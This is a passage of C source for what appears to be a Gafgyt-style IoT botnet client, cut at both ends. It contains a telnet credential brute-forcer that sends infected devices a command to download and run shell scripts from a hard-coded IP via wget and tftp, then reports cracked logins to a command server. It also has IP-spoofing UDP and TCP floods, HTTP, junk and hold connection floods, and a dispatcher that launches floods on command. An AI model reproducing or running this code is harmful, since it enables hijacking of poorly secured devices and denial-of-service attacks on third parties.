987
if(fds[i].totalTimeout + 30 < time(NULL))
988
{
989
sclose(fds[i].fd);
990
fds[i].state = 0;
991
fds[i].complete = 1;
992
}
993
}
994
break;
995
996
case 5:
997
{
998
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
999
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1000
fds[i].state = 6;
1001
}
1002
break;
1003
1004
case 6:
1005
{
1006
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
1007
1008
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1009
{
1010
fds[i].totalTimeout = 0;
1011
fds[i].bufUsed = 0;
1012
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
1013
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1014
else fds[i].state = 7;
1015
memset(fds[i].sockbuf, 0, 1024);
1016
continue;
1017
} else {
1018
fds[i].bufUsed = strlen(fds[i].sockbuf);
1019
}
1020
1021
if(fds[i].totalTimeout + 30 < time(NULL))
1022
{
1023
sclose(fds[i].fd);
1024
fds[i].state = 0;
1025
fds[i].complete = 1;
1026
}
1027
}
1028
break;
1029
1030
case 7:
1031
{
1032
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1033
fds[i].state = 8;
1034
}
1035
break;
1036
1037
case 8:
1038
{
1039
if(send(fds[i].fd, "cd /tmp; wget http://212.59.241.174/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 212.59.241.174 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 212.59.241.174; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh\r\n", 85, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1040
fds[i].state = 9;
1041
}
1042
break;
1043
1044
case 9:
1045
{
1046
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1047
fds[i].state = 10;
1048
}
1049
break;
1050
1051
case 10:
1052
{
1053
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
1054
1055
if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1056
{
1057
fds[i].totalTimeout = 0;
1058
fds[i].bufUsed = 0;
1059
if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1060
memset(fds[i].sockbuf, 0, 1024);
1061
sclose(fds[i].fd);
1062
fds[i].complete = 1;
1063
//fds[i].lastWorked = 1;
1064
fds[i].state = 0;
1065
continue;
1066
} else {
1067
fds[i].bufUsed = strlen(fds[i].sockbuf);
1068
}
1069
1070
if(fds[i].totalTimeout + 30 < time(NULL))
1071
{
1072
sclose(fds[i].fd);
1073
fds[i].state = 0;
1074
fds[i].complete = 1;
1075
}
1076
}
1077
break;
1078
1079
case 100:
1080
{
1081
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1082
fds[i].state = 101;
1083
}
1084
break;
1085
1086
case 101:
1087
{
1088
if(send(fds[i].fd, "cd /tmp; wget http://212.59.241.174/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 212.59.241.174 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 212.59.241.174; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh\r\n", 282, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1089
fds[i].state = 102;
1090
}
1091
break;
1092
1093
1094
case 102:
1095
{
1096
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
1097
fds[i].state = 103;
1098
}
1099
break;
1100
1101
case 103:
1102
{
1103
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
1104
1105
if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
1106
{
1107
fds[i].totalTimeout = 0;
1108
fds[i].bufUsed = 0;
1109
sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
1110
sclose(fds[i].fd);
1111
fds[i].state = 0;
1112
memset(fds[i].sockbuf, 0, 1024);
1113
fds[i].complete = 1;
1114
//fds[i].lastWorked = 1;
1115
continue;
1116
} else {
1117
fds[i].bufUsed = strlen(fds[i].sockbuf);
1118
}
1119
1120
if(fds[i].totalTimeout + 30 < time(NULL))
1121
{
1122
sclose(fds[i].fd);
1123
fds[i].state = 0;
1124
fds[i].complete = 1;
1125
}
1126
}
1127
break;
1128
1129
}
1130
}
1131
}
1132
}
1133
1134
// ___ ___ ___ _ _
1135
// /\ /\ / \/ _ \ / __\ | ___ ___ __| |
1136
// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
1137
// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
1138
// \___/___,'\/ \/ |_|\___/ \___/ \__,_|
1139
1140
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
1141
{
1142
struct sockaddr_in dest_addr;
1143
1144
dest_addr.sin_family = AF_INET;
1145
if(port == 0) dest_addr.sin_port = rand_cmwc();
1146
else dest_addr.sin_port = htons(port);
1147
if(getHost(target, &dest_addr.sin_addr)) return;
1148
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1149
1150
register unsigned int pollRegister;
1151
pollRegister = pollinterval;
1152
1153
if(spoofit == 32)
1154
{
1155
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1156
if(!sockfd)
1157
{
1158
sockprintf(mainCommSock, "Failed opening raw socket.");
1159
return;
1160
}
1161
1162
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1163
if(buf == NULL) return;
1164
memset(buf, 0, packetsize + 1);
1165
makeRandomStr(buf, packetsize);
1166
1167
int end = time(NULL) + timeEnd;
1168
register unsigned int i = 0;
1169
while(1)
1170
{
1171
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1172
1173
if(i == pollRegister)
1174
{
1175
if(port == 0) dest_addr.sin_port = rand_cmwc();
1176
if(time(NULL) > end) break;
1177
i = 0;
1178
continue;
1179
}
1180
i++;
1181
}
1182
} else {
1183
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1184
if(!sockfd)
1185
{
1186
sockprintf(mainCommSock, "Failed opening raw socket.");
1187
return;
1188
}
1189
1190
int tmp = 1;
1191
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1192
{
1193
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1194
return;
1195
}
1196
1197
int counter = 50;
1198
while(counter--)
1199
{
1200
srand(time(NULL) ^ rand_cmwc());
1201
init_rand(rand());
1202
}
1203
1204
in_addr_t netmask;
1205
1206
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1207
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1208
1209
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1210
struct iphdr *iph = (struct iphdr *)packet;
1211
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1212
1213
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1214
1215
udph->len = htons(sizeof(struct udphdr) + packetsize);
1216
udph->source = rand_cmwc();
1217
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1218
udph->check = 0;
1219
1220
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1221
1222
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1223
1224
int end = time(NULL) + timeEnd;
1225
register unsigned int i = 0;
1226
while(1)
1227
{
1228
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1229
1230
udph->source = rand_cmwc();
1231
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1232
iph->id = rand_cmwc();
1233
iph->saddr = htonl( getRandomIP(netmask) );
1234
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1235
1236
if(i == pollRegister)
1237
{
1238
if(time(NULL) > end) break;
1239
i = 0;
1240
continue;
1241
}
1242
i++;
1243
}
1244
}
1245
}
1246
1247
// _ _ _______ _______ _____ ______ _ ____ ____ _____
1248
// | | | |__ __|__ __| __ \ | ____| | / __ \ / __ \| __ \
1249
// | |__| | | | | | | |__) | | |__ | | | | | | | | | | | |
1250
// | __ | | | | | | ___/ | __| | | | | | | | | | | | |
1251
// | | | | | | | | | | | | | |___| |__| | |__| | |__| |
1252
// |_| |_| |_| |_| |_| |_| |______\____/ \____/|_____/
1253
//
1254
//
1255
1256
void sendHTTP(unsigned char *url, int end_time)
1257
{
1258
//Ik this is like, extremely simple, but it works - Void
1259
int end = time(NULL) + end_time;
1260
FILE *pf;
1261
char command[80];
1262
sprintf(command, "wget -O /tmp/fff ");
1263
strcat(command, url);
1264
strcat(command, " > /dev/null ");
1265
1266
pf = popen(command,"r");
1267
1268
while(end > time(NULL))
1269
{
1270
system(command);
1271
}
1272
1273
}
1274
1275
// _____ ___ ___ ___ _ _
1276
// /__ \/ __\ / _ \ / __\ | ___ ___ __| |
1277
// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
1278
// / / / /___/ ___/ / / | | (_) | (_) | (_| |
1279
// \/ \____/\/ \/ |_|\___/ \___/ \__,_|
1280
1281
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1282
{
1283
register unsigned int pollRegister;
1284
pollRegister = pollinterval;
1285
1286
struct sockaddr_in dest_addr;
1287
1288
dest_addr.sin_family = AF_INET;
1289
if(port == 0) dest_addr.sin_port = rand_cmwc();
1290
else dest_addr.sin_port = htons(port);
1291
if(getHost(target, &dest_addr.sin_addr)) return;
1292
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1293
1294
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1295
if(!sockfd)
1296
{
1297
sockprintf(mainCommSock, "Failed opening raw socket.");
1298
return;
1299
}
1300
1301
int tmp = 1;
1302
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1303
{
1304
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1305
return;
1306
}
1307
1308
in_addr_t netmask;
1309
1310
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1311
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1312
1313
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1314
struct iphdr *iph = (struct iphdr *)packet;
1315
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1316
1317
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1318
1319
tcph->source = rand_cmwc();
1320
tcph->seq = rand_cmwc();
1321
tcph->ack_seq = 0;
1322
tcph->doff = 5;
1323
1324
if(!strcmp(flags, "all"))
1325
{
1326
tcph->syn = 1;
1327
tcph->rst = 1;
1328
tcph->fin = 1;
1329
tcph->ack = 1;
1330
tcph->psh = 1;
1331
} else {
1332
unsigned char *pch = strtok(flags, ",");
1333
while(pch)
1334
{
1335
if(!strcmp(pch, "syn"))
1336
{
1337
tcph->syn = 1;
1338
} else if(!strcmp(pch, "rst"))
1339
{
1340
tcph->rst = 1;
1341
} else if(!strcmp(pch, "fin"))
1342
{
1343
tcph->fin = 1;
1344
} else if(!strcmp(pch, "ack"))
1345
{
1346
tcph->ack = 1;
1347
} else if(!strcmp(pch, "psh"))
1348
{
1349
tcph->psh = 1;
1350
} else {
1351
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1352
}
1353
pch = strtok(NULL, ",");
1354
}
1355
}
1356
1357
tcph->window = rand_cmwc();
1358
tcph->check = 0;
1359
tcph->urg_ptr = 0;
1360
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1361
tcph->check = tcpcsum(iph, tcph);
1362
1363
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1364
1365
int end = time(NULL) + timeEnd;
1366
register unsigned int i = 0;
1367
while(1)
1368
{
1369
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1370
1371
iph->saddr = htonl( getRandomIP(netmask) );
1372
iph->id = rand_cmwc();
1373
tcph->seq = rand_cmwc();
1374
tcph->source = rand_cmwc();
1375
tcph->check = 0;
1376
tcph->check = tcpcsum(iph, tcph);
1377
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1378
1379
if(i == pollRegister)
1380
{
1381
if(time(NULL) > end) break;
1382
i = 0;
1383
continue;
1384
}
1385
i++;
1386
}
1387
}
1388
1389
1390
// __ __ ___ _ _
1391
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
1392
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
1393
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
1394
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
1395
1396
void sendJUNK(unsigned char *ip, int port, int end_time)
1397
{
1398
1399
int max = getdtablesize() / 2, i;
1400
1401
struct sockaddr_in dest_addr;
1402
dest_addr.sin_family = AF_INET;
1403
dest_addr.sin_port = htons(port);
1404
if(getHost(ip, &dest_addr.sin_addr)) return;
1405
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1406
1407
struct state_t
1408
{
1409
int fd;
1410
uint8_t state;
1411
} fds[max];
1412
memset(fds, 0, max * (sizeof(int) + 1));
1413
1414
fd_set myset;
1415
struct timeval tv;
1416
socklen_t lon;
1417
int valopt, res;
1418
1419
unsigned char *watwat = malloc(1024);
1420
memset(watwat, 0, 1024);
1421
1422
int end = time(NULL) + end_time;
1423
while(end > time(NULL))
1424
{
1425
for(i = 0; i < max; i++)
1426
{
1427
switch(fds[i].state)
1428
{
1429
case 0:
1430
{
1431
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1432
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1433
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1434
else fds[i].state = 1;
1435
}
1436
break;
1437
1438
case 1:
1439
{
1440
FD_ZERO(&myset);
1441
FD_SET(fds[i].fd, &myset);
1442
tv.tv_sec = 0;
1443
tv.tv_usec = 10000;
1444
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1445
if(res == 1)
1446
{
1447
lon = sizeof(int);
1448
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1449
if(valopt)
1450
{
1451
close(fds[i].fd);
1452
fds[i].state = 0;
1453
} else {
1454
fds[i].state = 2;
1455
}
1456
} else if(res == -1)
1457
{
1458
close(fds[i].fd);
1459
fds[i].state = 0;
1460
}
1461
}
1462
break;
1463
1464
case 2:
1465
{
1466
//nonblocking sweg
1467
makeRandomStr(watwat, 1024);
1468
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
1469
{
1470
close(fds[i].fd);
1471
fds[i].state = 0;
1472
}
1473
}
1474
break;
1475
}
1476
}
1477
}
1478
}
1479
1480
// _ _ ___ _ _
1481
// /\ /\___ | | __| | / __\ | ___ ___ __| |
1482
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
1483
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
1484
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
1485
1486
void sendHOLD(unsigned char *ip, int port, int end_time)
1487
{
1488
1489
int max = getdtablesize() / 2, i;
1490
1491
struct sockaddr_in dest_addr;
1492
dest_addr.sin_family = AF_INET;
1493
dest_addr.sin_port = htons(port);
1494
if(getHost(ip, &dest_addr.sin_addr)) return;
1495
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1496
1497
struct state_t
1498
{
1499
int fd;
1500
uint8_t state;
1501
} fds[max];
1502
memset(fds, 0, max * (sizeof(int) + 1));
1503
1504
fd_set myset;
1505
struct timeval tv;
1506
socklen_t lon;
1507
int valopt, res;
1508
1509
unsigned char *watwat = malloc(1024);
1510
memset(watwat, 0, 1024);
1511
1512
int end = time(NULL) + end_time;
1513
while(end > time(NULL))
1514
{
1515
for(i = 0; i < max; i++)
1516
{
1517
switch(fds[i].state)
1518
{
1519
case 0:
1520
{
1521
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1522
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1523
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1524
else fds[i].state = 1;
1525
}
1526
break;
1527
1528
case 1:
1529
{
1530
FD_ZERO(&myset);
1531
FD_SET(fds[i].fd, &myset);
1532
tv.tv_sec = 0;
1533
tv.tv_usec = 10000;
1534
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1535
if(res == 1)
1536
{
1537
lon = sizeof(int);
1538
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1539
if(valopt)
1540
{
1541
close(fds[i].fd);
1542
fds[i].state = 0;
1543
} else {
1544
fds[i].state = 2;
1545
}
1546
} else if(res == -1)
1547
{
1548
close(fds[i].fd);
1549
fds[i].state = 0;
1550
}
1551
}
1552
break;
1553
1554
case 2:
1555
{
1556
FD_ZERO(&myset);
1557
FD_SET(fds[i].fd, &myset);
1558
tv.tv_sec = 0;
1559
tv.tv_usec = 10000;
1560
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
1561
if(res != 0)
1562
{
1563
close(fds[i].fd);
1564
fds[i].state = 0;
1565
}
1566
}
1567
break;
1568
}
1569
}
1570
}
1571
}
1572
1573
1574
// __ _ __ _ _
1575
// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
1576
// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
1577
// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
1578
// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
1579
1580
/*
1581
void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
1582
{
1583
unsigned char buffer[1024];
1584
memset(buffer, 0, 1024);
1585
1586
int fd = socket(AF_INET, SOCK_STREAM, 0);
1587
if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
1588
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1589
if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
1590
1591
if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
1592
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1593
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1594
memset(buffer, 0, 1024);
1595
1596
if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
1597
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1598
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1599
memset(buffer, 0, 1024);
1600
1601
if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
1602
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1603
if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
1604
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1605
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1606
memset(buffer, 0, 1024);
1607
1608
if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
1609
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1610
if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
1611
memset(buffer, 0, 1024);
1612
1613
if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1614
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1615
if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
1616
if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
1617
if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1618
if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
1619
if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
1620
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1621
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1622
memset(buffer, 0, 1024);
1623
1624
send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
1625
1626
close(fd);
1627
return;
1628
}
1629
*/
1630
1631
// _____ __ ___ _
1632
// \_ \/__\ / __\ /\/\ __ _(_)_ __
1633
// / /\/ \// / / / \ / _` | | '_ \
1634
// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
1635
// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
1636
1637
void processCmd(int argc, unsigned char *argv[])
1638
{
1639
if(!strcmp(argv[0], "PING"))
1640
{
1641
sockprintf(mainCommSock, "PONG!");
1642
return;
1643
}
1644
1645
if(!strcmp(argv[0], "GETLOCALIP"))
1646
{
1647
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
1648
return;
1649
}
1650
1651
if(!strcmp(argv[0], "SCANNER"))
1652
{
1653
if(argc != 2)
1654
{
1655
sockprintf(mainCommSock, "SCANNER ON | OFF");
1656
return;
1657
}
1658
1659
if(!strcmp(argv[1], "OFF"))
1660
{
1661
if(scanPid == 0) return;
1662
1663
kill(scanPid, 9);
1664
scanPid = 0;
1665
}
1666
1667
if(!strcmp(argv[1], "ON"))
1668
{
1669
if(scanPid != 0) return;
1670
uint32_t parent;
1671
parent = fork();
1672
if (parent > 0) { scanPid = parent; return;}
1673
else if(parent == -1) return;
1674
1675
StartTheLelz();
1676
_exit(0);
1677
}
1678
}
1679
1680
/*
1681
if(!strcmp(argv[0], "EMAIL"))
1682
{
1683
if(argc < 5)
1684
{
1685
//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
1686
return;
1687
}
1688
1689
unsigned char *target = argv[1];
1690
unsigned char *host = argv[2];
1691
unsigned char *subject = argv[3];
1692
unsigned char *message = argv[4];
1693
1694
if (listFork()) { return; }
1695
1696
sendEmail(target, host, subject, message);
1697
close(mainCommSock);
1698
1699
_exit(0);
1700
}
1701
*/
1702
1703
if(!strcmp(argv[0], "HOLD"))
1704
{
1705
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1706
{
1707
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
1708
return;
1709
}
1710
1711
unsigned char *ip = argv[1];
1712
int port = atoi(argv[2]);
1713
int time = atoi(argv[3]);
1714
1715
if(strstr(ip, ",") != NULL)
1716
{
1717
sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
1718
unsigned char *hi = strtok(ip, ",");
1719
while(hi != NULL)
1720
{
1721
if(!listFork())
1722
{
1723
sendHOLD(hi, port, time);
1724
close(mainCommSock);
1725
_exit(0);
1726
}
1727
hi = strtok(NULL, ",");
1728
}
1729
} else {
1730
if (listFork()) { return; }
1731
1732
sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
1733
sendHOLD(ip, port, time);
1734
close(mainCommSock);
1735
1736
_exit(0);
1737
}
1738
}
1739
1740
if(!strcmp(argv[0], "JUNK"))
1741
{
1742
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1743
{
1744
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
1745
return;
1746
}
1747
1748
unsigned char *ip = argv[1];
1749
int port = atoi(argv[2]);
1750
int time = atoi(argv[3]);
1751
1752
if(strstr(ip, ",") != NULL)
1753
{
1754
sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
1755
unsigned char *hi = strtok(ip, ",");
1756
while(hi != NULL)
1757
{
1758
if(!listFork())
1759
{
1760
sendJUNK(hi, port, time);
1761
close(mainCommSock);
1762
_exit(0);
1763
}
1764
hi = strtok(NULL, ",");
1765
}
1766
} else {
1767
if (listFork()) { return; }
1768
1769
sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
1770
sendJUNK(ip, port, time);
1771
close(mainCommSock);
1772
1773
_exit(0);
1774
}
1775
}
1776
1777
if(!strcmp(argv[0], "UDP"))
1778
{
1779
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1780
{
1781
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
1782
return;
1783
}
1784
1785
unsigned char *ip = argv[1];
1786
int port = atoi(argv[2]);
1787
int time = atoi(argv[3]);
1788
int spoofed = atoi(argv[4]);
1789
int packetsize = atoi(argv[5]);
1790
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
1791
1792
if(strstr(ip, ",") != NULL)
1793
{
1794
sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
1795
unsigned char *hi = strtok(ip, ",");
1796
while(hi != NULL)
1797
{
1798
if(!listFork())
1799
{
1800
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
1801
close(mainCommSock);
1802
_exit(0);
1803
}
1804
hi = strtok(NULL, ",");
1805
}
1806
} else {
1807
if (listFork()) { return; }
1808
1809
sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
1810
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
1811
close(mainCommSock);
1812
1813
_exit(0);
1814
}
1815
}
1816
1817
if(!strcmp(argv[0], "HTTP"))
1818
{
1819
if(argc < 3 || atoi(argv[2]) < 1)
1820
{
1821
//sockprintf(mainCommSock, "HTTP <url> <time>");
1822
return;
1823
}
1824
1825
unsigned char *ip = argv[1];
1826
int time = atoi(argv[2]);
1827
1828
if(strstr(ip, ",") != NULL)
1829
{
1830
sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
1831
unsigned char *hi = strtok(ip, ",");
1832
while(hi != NULL)
1833
{
1834
if(!listFork())
1835
{
1836
sendHTTP(ip, time);
1837
close(mainCommSock);
1838
_exit(0);
1839
}
1840
hi = strtok(NULL, ",");
1841
}
1842
} else {
1843
if (listFork()) { return; }
1844
1845
sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
1846
sendHTTP(ip, time);
1847
close(mainCommSock);
1848
1849
_exit(0);
1850
}
1851
}
1852
1853
if(!strcmp(argv[0], "TCP"))
1854
{
1855
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
1856
{
1857
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
1858
return;
1859
}
1860
1861
unsigned char *ip = argv[1];
1862
int port = atoi(argv[2]);
1863
int time = atoi(argv[3]);
1864
int spoofed = atoi(argv[4]);
1865
unsigned char *flags = argv[5];
1866
1867
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
1868
int psize = argc > 6 ? atoi(argv[6]) : 0;
1869
1870
if(strstr(ip, ",") != NULL)
